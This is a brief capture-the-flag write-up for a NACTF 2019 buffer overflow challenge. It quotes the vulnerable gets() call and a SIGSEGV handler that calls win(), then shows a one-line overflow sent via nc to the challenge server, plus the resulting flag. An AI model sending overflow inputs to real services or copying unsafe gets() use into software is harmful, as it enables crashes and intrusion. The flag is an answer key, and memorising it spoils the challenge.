### We have BOF here:
###
gets(buf);
### Our target is to call function win(). We have a call to signal(), it will call win() whenever SIGSEGV error occurs.
###
signal(SIGSEGV, win);
### So, we just need to send a long input to cause SIGSEGV
###
$ python -c "print 'A'*100" | nc shell.2019.nactf.com 31475
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You win!
flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}